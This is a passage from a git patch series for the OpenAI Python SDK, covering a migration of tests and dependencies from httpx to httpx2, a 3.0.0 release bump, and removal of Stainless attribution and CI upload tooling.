- raw=httpx.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
+ raw=httpx2.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
client=client,
stream=False,
stream_cls=None,
@@ -222,7 +222,7 @@ def test_response_parse_annotated_type(client: OpenAI) -> None:
async def test_async_response_parse_annotated_type(async_client: AsyncOpenAI) -> None:
response = AsyncAPIResponse(
- raw=httpx.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
+ raw=httpx2.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
client=async_client,
stream=False,
stream_cls=None,
@@ -250,7 +250,7 @@ async def test_async_response_parse_annotated_type(async_client: AsyncOpenAI) ->
)
def test_response_parse_bool(client: OpenAI, content: str, expected: bool) -> None:
response = APIResponse(
- raw=httpx.Response(200, content=content),
+ raw=httpx2.Response(200, content=content),
client=client,
stream=False,
stream_cls=None,
@@ -275,7 +275,7 @@ def test_response_parse_bool(client: OpenAI, content: str, expected: bool) -> No
)
async def test_async_response_parse_bool(client: AsyncOpenAI, content: str, expected: bool) -> None:
response = AsyncAPIResponse(
- raw=httpx.Response(200, content=content),
+ raw=httpx2.Response(200, content=content),
client=client,
stream=False,
stream_cls=None,
@@ -294,7 +294,7 @@ class OtherModel(BaseModel):
@pytest.mark.parametrize("client", [False], indirect=True) # loose validation
def test_response_parse_expect_model_union_non_json_content(client: OpenAI) -> None:
response = APIResponse(
- raw=httpx.Response(200, content=b"foo", headers={"Content-Type": "application/text"}),
+ raw=httpx2.Response(200, content=b"foo", headers={"Content-Type": "application/text"}),
client=client,
stream=False,
stream_cls=None,
@@ -311,7 +311,7 @@ def test_response_parse_expect_model_union_non_json_content(client: OpenAI) -> N
@pytest.mark.parametrize("async_client", [False], indirect=True) # loose validation
async def test_async_response_parse_expect_model_union_non_json_content(async_client: AsyncOpenAI) -> None:
response = AsyncAPIResponse(
- raw=httpx.Response(200, content=b"foo", headers={"Content-Type": "application/text"}),
+ raw=httpx2.Response(200, content=b"foo", headers={"Content-Type": "application/text"}),
client=async_client,
stream=False,
stream_cls=None,
diff --git a/tests/test_streaming.py b/tests/test_streaming.py
index 04f8e51abd..ae6c0590f7 100644
--- a/tests/test_streaming.py
+++ b/tests/test_streaming.py
@@ -2,7 +2,7 @@
from typing import Iterator, AsyncIterator
-import httpx
+import httpx2
import pytest
from openai import OpenAI, AsyncOpenAI
@@ -241,8 +241,8 @@ def make_event_iterator(
async_client: AsyncOpenAI,
) -> Iterator[ServerSentEvent] | AsyncIterator[ServerSentEvent]:
if sync:
- return Stream(cast_to=object, client=client, response=httpx.Response(200, content=content))._iter_events()
+ return Stream(cast_to=object, client=client, response=httpx2.Response(200, content=content))._iter_events()
return AsyncStream(
- cast_to=object, client=async_client, response=httpx.Response(200, content=to_aiter(content))
+ cast_to=object, client=async_client, response=httpx2.Response(200, content=to_aiter(content))
)._iter_events()
diff --git a/tests/test_utils/test_logging.py b/tests/test_utils/test_logging.py
index cc018012e2..b7c53f5cae 100644
--- a/tests/test_utils/test_logging.py
+++ b/tests/test_utils/test_logging.py
@@ -4,6 +4,7 @@
import pytest
from openai._utils import SensitiveHeadersFilter
+from openai._utils._logs import setup_logging
@pytest.fixture
@@ -98,3 +99,17 @@ def test_standard_debug_msg(logger_with_filter: logging.Logger, caplog: pytest.L
with caplog.at_level(logging.DEBUG):
logger_with_filter.debug("Sending HTTP Request: %s %s", "POST", "chat/completions")
assert caplog.messages[0] == "Sending HTTP Request: POST chat/completions"
+
+
+@pytest.mark.parametrize(("setting", "level"), [("debug", logging.DEBUG), ("info", logging.INFO)])
+def test_httpx2_logger_follows_sdk_log_level(setting: str, level: int, monkeypatch: pytest.MonkeyPatch) -> None:
+ sdk_logger = logging.getLogger("openai")
+ transport_logger = logging.getLogger("httpx2")
+ monkeypatch.setattr(sdk_logger, "level", sdk_logger.level)
+ monkeypatch.setattr(transport_logger, "level", transport_logger.level)
+ monkeypatch.setenv("OPENAI_LOG", setting)
+
+ setup_logging()
+
+ assert sdk_logger.level == level
+ assert transport_logger.level == level
diff --git a/uv.lock b/uv.lock
index 903d4c4093..8d19f25c46 100644
--- a/uv.lock
+++ b/uv.lock
@@ -225,15 +225,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/0e/f2/4bd8f2f419088feb3ce55f0ca91040ff902f402edfd197450b20a2e1d533/botocore-1.43.46-py3-none-any.whl", hash = "sha256:cb673891e623ae6e6a1bf24d94ef169504f3eb02584adb5d5bee2f6aae819b60", size = 15380350, upload-time = "2026-07-10T19:31:57.616Z" },
]
-[[package]]
-name = "certifi"
-version = "2026.6.17"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/c9/c7/424b75da314c1045981bd9777432fad05a9e0c69daa4ed7e308bbaffe405/certifi-2026.6.17.tar.gz", hash = "sha256:024c88eeec92ca068db80f02b8b07c9cef7b9fe261d1d535abfd5abd6f6af432", size = 134594, upload-time = "2026-06-17T10:31:07.894Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/ef/2f/c5464532e965badff2f4c4c1a3a83f5697f0d7c407ed0cda44aaa99bb451/certifi-2026.6.17-py3-none-any.whl", hash = "sha256:2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db", size = 133289, upload-time = "2026-06-17T10:31:06.348Z" },
-]
-
[[package]]
name = "cffi"
version = "2.0.0"
@@ -476,19 +467,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
]
-[[package]]
-name = "httpcore"
-version = "1.0.9"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "certifi" },
- { name = "h11" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
-]
-
[[package]]
name = "httpcore2"
version = "2.7.0"
@@ -502,34 +480,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/6f/6c/62e2e279e63fc4f7a5ee841ef13175a8bbc613f258e9dcc186e9de803a42/httpcore2-2.7.0-py3-none-any.whl", hash = "sha256:1452f589fe23f55b44546cd884294c41a29330af902bc0b71a761fd52d18f92b", size = 81506, upload-time = "2026-07-14T20:39:58.053Z" },
]
-[[package]]
-name = "httpx"
-version = "0.28.1"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "anyio" },
- { name = "certifi" },
- { name = "httpcore" },
- { name = "idna" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
-]
-
-[[package]]
-name = "httpx-aiohttp"
-version = "0.1.12"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
- { name = "aiohttp" },
- { name = "httpx" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/63/2c/b894861cecf030fb45675ea24aa55b5722e97c602a163d872fca66c5a6d8/httpx_aiohttp-0.1.12.tar.gz", hash = "sha256:81feec51fd82c0ecfa0e9aaf1b1a6c2591260d5e2bcbeb7eb0277a78e610df2c", size = 275945, upload-time = "2025-12-12T10:12:15.283Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/16/8d/85c9701e9af72ca132a1783e2a54364a90c6da832304416a30fc11196ab2/httpx_aiohttp-0.1.12-py3-none-any.whl", hash = "sha256:5b0eac39a7f360fa7867a60bcb46bb1024eada9c01cbfecdb54dc1edb3fb7141", size = 6367, upload-time = "2025-12-12T10:12:14.018Z" },
-]
-
[[package]]
name = "httpx2"
version = "2.7.0"
@@ -964,7 +914,7 @@ source = { editable = "." }
dependencies = [
{ name = "anyio" },
{ name = "distro" },
- { name = "httpx" },
+ { name = "httpx2" },
{ name = "jiter" },
{ name = "pydantic" },
{ name = "sniffio" },
@@ -975,7 +925,6 @@ dependencies = [
[package.optional-dependencies]
aiohttp = [
{ name = "aiohttp" },
- { name = "httpx-aiohttp" },
]
bedrock = [
{ name = "botocore" },
@@ -988,11 +937,6 @@ datalib = [
{ name = "pandas-stubs", version = "2.3.3.260113", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
{ name = "pandas-stubs", version = "3.0.3.260530", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
]
-httpx2 = [
- { name = "anyio" },
- { name = "httpx" },
- { name = "httpx2" },
-]
realtime = [
{ name = "websockets" },
]
@@ -1005,14 +949,10 @@ voice-helpers = [
[package.metadata]
requires-dist = [
{ name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.1" },
- { name = "anyio", specifier = ">=3.5.0,<5" },
- { name = "anyio", marker = "extra == 'httpx2'", specifier = ">=4.10.0,<5" },
+ { name = "anyio", specifier = ">=4.10.0,<5" },
{ name = "botocore", marker = "extra == 'bedrock'", specifier = ">=1.40.0,<2" },
{ name = "distro", specifier = ">=1.7.0,<2" },
- { name = "httpx", specifier = ">=0.23.0,<1" },
- { name = "httpx", marker = "extra == 'httpx2'", specifier = ">=0.25.1,<1" },
- { name = "httpx-aiohttp", marker = "extra == 'aiohttp'", specifier = ">=0.1.9" },
- { name = "httpx2", marker = "extra == 'httpx2'", specifier = ">=2.7.0,<3" },
+ { name = "httpx2", specifier = ">=2.7.0,<3" },
{ name = "jiter", specifier = ">=0.10.0,<1" },
{ name = "numpy", marker = "extra == 'datalib'", specifier = ">=1" },
{ name = "numpy", marker = "extra == 'voice-helpers'", specifier = ">=2.0.2" },
@@ -1025,7 +965,7 @@ requires-dist = [
{ name = "typing-extensions", specifier = ">=4.14,<5" },
{ name = "websockets", marker = "extra == 'realtime'", specifier = ">=13,<16" },
]
-provides-extras = ["aiohttp", "httpx2", "realtime", "datalib", "voice-helpers", "bedrock"]
+provides-extras = ["aiohttp", "realtime", "datalib", "voice-helpers", "bedrock"]
[[package]]
name = "pandas"
From 8bb0e14e58b537baa216fd483e2b950907063470 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 12 Aug 2026 01:51:32 +0000
Subject: [PATCH 010/341] release: 3.0.0 (#3598)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Automated Release PR
---
##
[3.0.0](https://github.com/openai/openai-python/compare/v2.54.0...v3.0.0)
(2026-08-12)
### ⚠ BREAKING CHANGES
* **api:** HTTPX2 is now the default HTTP client, and `httpx` is no
longer installed automatically. Applications using custom HTTPX clients,
transports, or configuration objects must migrate to their HTTPX2
equivalents or use the temporary, runtime-only legacy HTTPX escape
hatch. See the [HTTPX2 migration
guide](https://github.com/openai/openai-python/blob/main/httpx2.md).
### Features
* **api:** migrate to HTTPX2
([#3594](https://github.com/openai/openai-python/pull/3594))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
---------
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 11 +++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 15 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 5c2b1511f2..4191c8899b 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "2.54.0"
+ ".": "3.0.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 851881a834..c2e2c7ae29 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,16 @@
# Changelog
+## [3.0.0](https://github.com/openai/openai-python/compare/v2.54.0...v3.0.0) (2026-08-12)
+
+
+### ⚠ BREAKING CHANGES
+
+* **api:** HTTPX2 is now the default HTTP client, and `httpx` is no longer installed automatically. Applications using custom HTTPX clients, transports, or configuration objects must migrate to their HTTPX2 equivalents or use the temporary, runtime-only legacy HTTPX escape hatch. See the [HTTPX2 migration guide](https://github.com/openai/openai-python/blob/main/httpx2.md).
+
+### Features
+
+* **api:** migrate to HTTPX2 ([#3594](https://github.com/openai/openai-python/pull/3594))
+
## [2.54.0](https://github.com/openai/openai-python/compare/v2.53.0...v2.54.0) (2026-08-11)
diff --git a/pyproject.toml b/pyproject.toml
index a23c2f36fe..4a38bd11e7 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "2.54.0"
+version = "3.0.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 4f283c8b56..8889c08af5 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,4 +1,4 @@
# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
__title__ = "openai"
-__version__ = "2.54.0" # x-release-please-version
+__version__ = "3.0.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 8d19f25c46..ab8356f146 100644
--- a/uv.lock
+++ b/uv.lock
@@ -909,7 +909,7 @@ wheels = [
[[package]]
name = "openai"
-version = "2.54.0" # x-release-please-version
+version = "3.0.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From a1eeab58db02de46717ccebaf1eb83e314fa86ff Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 12 Aug 2026 06:38:26 +0000
Subject: [PATCH 011/341] chore: remove Stainless attribution and
infrastructure (#3599)
## Changes
- Remove Stainless attribution from legacy generated-file headers,
README/agent guidance, security reporting, and repository-owned
examples.
- Remove Stainless-only CI/upload infrastructure, obsolete
mirror-specific workflow behavior, and legacy `.stats.yml`.
- Keep Castiron generation metadata, public release workflows, and
mock-server validation intact.
## Out of scope
- Renaming `X-Stainless-*` request headers, retry/idempotency
identifiers, OpenAPI `x-stainless-*` extensions, generated fixture
identifiers, changelog history, or third-party provenance.
---
.github/workflows/ci.yml | 68 +++----------------
.stats.yml | 4 --
AGENTS.md | 2 +-
README.md | 2 +-
SECURITY.md | 28 ++------
examples/.keep | 4 +-
scripts/mock | 7 +-
scripts/utils/upload-artifact.sh | 27 --------
src/openai/_constants.py | 2 -
src/openai/_event_handler.py | 2 -
src/openai/_exceptions.py | 2 -
src/openai/_resource.py | 2 -
src/openai/_send_queue.py | 2 -
src/openai/_utils/_utils.py | 2 +-
src/openai/_version.py | 2 -
src/openai/lib/.keep | 4 +-
src/openai/pagination.py | 2 -
.../resources/beta/realtime/__init__.py | 2 -
.../resources/beta/realtime/realtime.py | 2 -
.../resources/beta/realtime/sessions.py | 2 -
.../beta/realtime/transcription_sessions.py | 2 -
src/openai/types/beta/chat/__init__.py | 2 -
src/openai/types/beta/realtime/__init__.py | 2 -
.../realtime/conversation_created_event.py | 2 -
.../types/beta/realtime/conversation_item.py | 2 -
.../realtime/conversation_item_content.py | 2 -
.../conversation_item_content_param.py | 2 -
.../conversation_item_create_event.py | 2 -
.../conversation_item_create_event_param.py | 2 -
.../conversation_item_created_event.py | 2 -
.../conversation_item_delete_event.py | 2 -
.../conversation_item_delete_event_param.py | 2 -
.../conversation_item_deleted_event.py | 2 -
...put_audio_transcription_completed_event.py | 2 -
...m_input_audio_transcription_delta_event.py | 2 -
..._input_audio_transcription_failed_event.py | 2 -
.../beta/realtime/conversation_item_param.py | 2 -
.../conversation_item_retrieve_event.py | 2 -
.../conversation_item_retrieve_event_param.py | 2 -
.../conversation_item_truncate_event.py | 2 -
.../conversation_item_truncate_event_param.py | 2 -
.../conversation_item_truncated_event.py | 2 -
.../conversation_item_with_reference.py | 2 -
.../conversation_item_with_reference_param.py | 2 -
src/openai/types/beta/realtime/error_event.py | 2 -
.../input_audio_buffer_append_event.py | 2 -
.../input_audio_buffer_append_event_param.py | 2 -
.../input_audio_buffer_clear_event.py | 2 -
.../input_audio_buffer_clear_event_param.py | 2 -
.../input_audio_buffer_cleared_event.py | 2 -
.../input_audio_buffer_commit_event.py | 2 -
.../input_audio_buffer_commit_event_param.py | 2 -
.../input_audio_buffer_committed_event.py | 2 -
...input_audio_buffer_speech_started_event.py | 2 -
...input_audio_buffer_speech_stopped_event.py | 2 -
.../realtime/rate_limits_updated_event.py | 2 -
.../beta/realtime/realtime_client_event.py | 2 -
.../realtime/realtime_client_event_param.py | 2 -
.../beta/realtime/realtime_connect_params.py | 2 -
.../types/beta/realtime/realtime_response.py | 2 -
.../beta/realtime/realtime_response_status.py | 2 -
.../beta/realtime/realtime_response_usage.py | 2 -
.../beta/realtime/realtime_server_event.py | 2 -
.../realtime/response_audio_delta_event.py | 2 -
.../realtime/response_audio_done_event.py | 2 -
.../response_audio_transcript_delta_event.py | 2 -
.../response_audio_transcript_done_event.py | 2 -
.../beta/realtime/response_cancel_event.py | 2 -
.../realtime/response_cancel_event_param.py | 2 -
.../response_content_part_added_event.py | 2 -
.../response_content_part_done_event.py | 2 -
.../beta/realtime/response_create_event.py | 2 -
.../realtime/response_create_event_param.py | 2 -
.../beta/realtime/response_created_event.py | 2 -
.../beta/realtime/response_done_event.py | 2 -
...nse_function_call_arguments_delta_event.py | 2 -
...onse_function_call_arguments_done_event.py | 2 -
.../response_output_item_added_event.py | 2 -
.../response_output_item_done_event.py | 2 -
.../realtime/response_text_delta_event.py | 2 -
.../beta/realtime/response_text_done_event.py | 2 -
src/openai/types/beta/realtime/session.py | 2 -
.../beta/realtime/session_create_params.py | 2 -
.../beta/realtime/session_create_response.py | 2 -
.../beta/realtime/session_created_event.py | 2 -
.../beta/realtime/session_update_event.py | 2 -
.../realtime/session_update_event_param.py | 2 -
.../beta/realtime/session_updated_event.py | 2 -
.../beta/realtime/transcription_session.py | 2 -
.../transcription_session_create_params.py | 2 -
.../realtime/transcription_session_update.py | 2 -
.../transcription_session_update_param.py | 2 -
.../transcription_session_updated_event.py | 2 -
...chat_completion_message_tool_call_param.py | 2 -
.../types/chat/chat_completion_tool_param.py | 2 -
.../types/chat/parsed_chat_completion.py | 2 -
.../types/chat/parsed_function_tool_call.py | 2 -
src/openai/types/responses/parsed_response.py | 2 -
...safety_identifier_blocked_webhook_event.py | 2 -
tests/__init__.py | 1 -
tests/api_resources/beta/test_realtime.py | 2 -
tests/conftest.py | 2 -
tests/test_client.py | 42 ++++++------
tests/test_module_client.py | 2 -
tests/test_send_queue.py | 2 -
tests/test_transform.py | 4 +-
106 files changed, 42 insertions(+), 339 deletions(-)
delete mode 100644 .stats.yml
delete mode 100755 scripts/utils/upload-artifact.sh
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 70a27d8ead..6783246815 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -5,15 +5,7 @@ on:
- '**'
- '!gh-readonly-queue/**'
- '!integrated/**'
- - '!stl-preview-head/**'
- - '!stl-preview-base/**'
- - '!generated'
- - '!codegen/**'
- - 'codegen/stl/**'
pull_request:
- branches-ignore:
- - 'stl-preview-head/**'
- - 'stl-preview-base/**'
merge_group:
types:
- checks_requested
@@ -30,8 +22,8 @@ jobs:
lint:
timeout-minutes: 10
name: lint
- runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: (github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ runs-on: ubuntu-latest
+ if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -48,12 +40,12 @@ jobs:
run: ./scripts/lint
build:
- if: (github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
timeout-minutes: 10
name: build
permissions:
contents: read
- runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
+ runs-on: ubuntu-latest
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
@@ -96,54 +88,10 @@ jobs:
- name: Validate HTTPX2 wheel on Python 3.14
run: python scripts/utils/validate-httpx2-wheel.py
- - name: Stage tarball for Stainless upload
- if: |-
- github.repository == 'stainless-sdks/openai-python' &&
- !startsWith(github.ref, 'refs/heads/stl/')
- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
- with:
- name: stainless-package-tarball
- path: dist/
- if-no-files-found: error
- retention-days: 1
-
- stainless-upload:
- name: upload tarball to Stainless
- needs: build
- if: github.repository == 'stainless-sdks/openai-python' && !startsWith(github.ref, 'refs/heads/stl/')
- runs-on: ubuntu-latest
- permissions:
- contents: read
- id-token: write
-
- steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
- with:
- persist-credentials: false
-
- - name: Download tarball
- uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
- with:
- name: stainless-package-tarball
- path: dist/
-
- - name: Get GitHub OIDC Token
- id: github-oidc
- uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8
- with:
- script: core.setOutput('github_token', await core.getIDToken());
-
- - name: Upload tarball
- env:
- URL: https://pkg.stainless.com/s
- AUTH: ${{ steps.github-oidc.outputs.github_token }}
- SHA: ${{ github.sha }}
- run: ./scripts/utils/upload-artifact.sh
-
test:
timeout-minutes: 15
name: test (Python ${{ matrix.python-version }})
- runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
+ runs-on: ubuntu-latest
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
strategy:
fail-fast: false
@@ -185,7 +133,7 @@ jobs:
test-httpx2:
timeout-minutes: 20
name: test (HTTPX2)
- runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
+ runs-on: ubuntu-latest
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -223,8 +171,8 @@ jobs:
timeout-minutes: 10
name: examples
environment: ci
- runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: github.repository == 'openai/openai-python' && github.ref != 'refs/heads/release-please--branches--main' && (github.event_name == 'push' || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ runs-on: ubuntu-latest
+ if: github.repository == 'openai/openai-python' && github.ref != 'refs/heads/release-please--branches--main' && (github.event_name == 'push' || github.event.pull_request.head.repo.fork)
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
diff --git a/.stats.yml b/.stats.yml
deleted file mode 100644
index ec9ac4b5dd..0000000000
--- a/.stats.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-configured_endpoints: 279
-openapi_spec_url: https://storage.googleapis.com/stainless-sdk-openapi-specs/openai/openai-31fcc3c97e5c432754bf0b72c5d5abbe1493573f0ca888af914baf81188b453e.yml
-openapi_spec_hash: f867849a0c2a9c9b838d21f1c720a9e3
-config_hash: fce3820c4f95b555e486349bc7d297d8
diff --git a/AGENTS.md b/AGENTS.md
index 872a691604..4e5f885ebc 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -2,7 +2,7 @@
## Generated SDK
-Most SDK source is generated by Stainless. Follow `CONTRIBUTING.md` before
+Most SDK source is generated from the OpenAI API schema. Follow `CONTRIBUTING.md` before
changing generated files. Handwritten policy, automation, tests, and examples
should remain small and should not alter exported SDK APIs unless the change
explicitly requires it.
diff --git a/README.md b/README.md
index a8b39edfa7..93f3071371 100644
--- a/README.md
+++ b/README.md
@@ -7,7 +7,7 @@ The OpenAI Python library provides convenient access to the OpenAI REST API from
application. The library includes type definitions for all request params and response fields,
and offers both synchronous and asynchronous clients powered by [HTTPX2](https://httpx2.pydantic.dev/).
-It is generated from our [OpenAPI specification](https://github.com/openai/openai-openapi) with [Stainless](https://stainlessapi.com/).
+It is generated from our [OpenAPI specification](https://github.com/openai/openai-openapi).
## Documentation
diff --git a/SECURITY.md b/SECURITY.md
index 4adb0c54f1..ece2734f01 100644
--- a/SECURITY.md
+++ b/SECURITY.md
@@ -2,28 +2,12 @@
## Reporting Security Issues
-This SDK is generated by [Stainless Software Inc](http://stainless.com). Stainless takes security seriously, and encourages you to report any security vulnerability promptly so that appropriate action can be taken.
-
-To report a security issue, please contact the Stainless team at security@stainless.com.
+Please report potential security vulnerabilities through OpenAI's
+[coordinated vulnerability disclosure process](https://openai.com/policies/coordinated-vulnerability-disclosure-policy).
+For questions about that process, contact disclosure@openai.com.
## Responsible Disclosure
-We appreciate the efforts of security researchers and individuals who help us maintain the security of
-SDKs we generate. If you believe you have found a security vulnerability, please adhere to responsible
-disclosure practices by allowing us a reasonable amount of time to investigate and address the issue
-before making any information public.
-
-## Reporting Non-SDK Related Security Issues
-
-If you encounter security issues that are not directly related to SDKs but pertain to the services
-or products provided by OpenAI, please follow the respective company's security reporting guidelines.
-
-### OpenAI Terms and Policies
-
-Our Security Policy can be found at [Security Policy URL](https://openai.com/policies/coordinated-vulnerability-disclosure-policy).
-
-Please contact disclosure@openai.com for any questions or concerns regarding the security of our services.
-
----
-
-Thank you for helping us keep the SDKs and systems they interact with secure.
+Please allow OpenAI a reasonable amount of time to investigate and address the
+issue before making information public. Thank you for helping us keep this SDK
+and the systems it interacts with secure.
diff --git a/examples/.keep b/examples/.keep
index d8c73e937a..713b98de13 100644
--- a/examples/.keep
+++ b/examples/.keep
@@ -1,4 +1,2 @@
-File generated from our OpenAPI spec by Stainless.
-
This directory can be used to store example files demonstrating usage of this SDK.
-It is ignored by Stainless code generation and its content (other than this keep file) won't be touched.
\ No newline at end of file
+It is ignored by code generation and its content (other than this keep file) won't be touched.
diff --git a/scripts/mock b/scripts/mock
index efc647aec1..740f8afb20 100755
--- a/scripts/mock
+++ b/scripts/mock
@@ -17,12 +17,7 @@ elif [[ -f .castiron.stats.yml && -f api_reference/openapi.transformed.yml ]]; t
exit 1
fi
else
- URL="$(grep 'openapi_spec_url' .stats.yml | cut -d' ' -f2)"
-fi
-
-# Check if the URL is empty
-if [ -z "$URL" ]; then
- echo "Error: No OpenAPI spec path/url provided or found in .stats.yml"
+ echo "Error: No OpenAPI spec path/url provided or found in Castiron generation metadata" >&2
exit 1
fi
diff --git a/scripts/utils/upload-artifact.sh b/scripts/utils/upload-artifact.sh
deleted file mode 100755
index cd522975fc..0000000000
--- a/scripts/utils/upload-artifact.sh
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/usr/bin/env bash
-set -exuo pipefail
-
-FILENAME=$(basename dist/*.whl)
-
-RESPONSE=$(curl -X POST "$URL?filename=$FILENAME" \
- -H "Authorization: Bearer $AUTH" \
- -H "Content-Type: application/json")
-
-SIGNED_URL=$(echo "$RESPONSE" | jq -r '.url')
-
-if [[ "$SIGNED_URL" == "null" ]]; then
- echo -e "\033[31mFailed to get signed URL.\033[0m"
- exit 1
-fi
-
-UPLOAD_RESPONSE=$(curl -v -X PUT \
- -H "Content-Type: binary/octet-stream" \
- --data-binary "@dist/$FILENAME" "$SIGNED_URL" 2>&1)
-
-if echo "$UPLOAD_RESPONSE" | grep -q "HTTP/[0-9.]* 200"; then
- echo -e "\033[32mUploaded build to Stainless storage.\033[0m"
- echo -e "\033[32mInstallation: pip install 'https://pkg.stainless.com/s/openai-python/$SHA/$FILENAME'\033[0m"
-else
- echo -e "\033[31mFailed to upload artifact.\033[0m"
- exit 1
-fi
diff --git a/src/openai/_constants.py b/src/openai/_constants.py
index fa137439f1..19d2d6b020 100644
--- a/src/openai/_constants.py
+++ b/src/openai/_constants.py
@@ -1,5 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
-
import httpx2
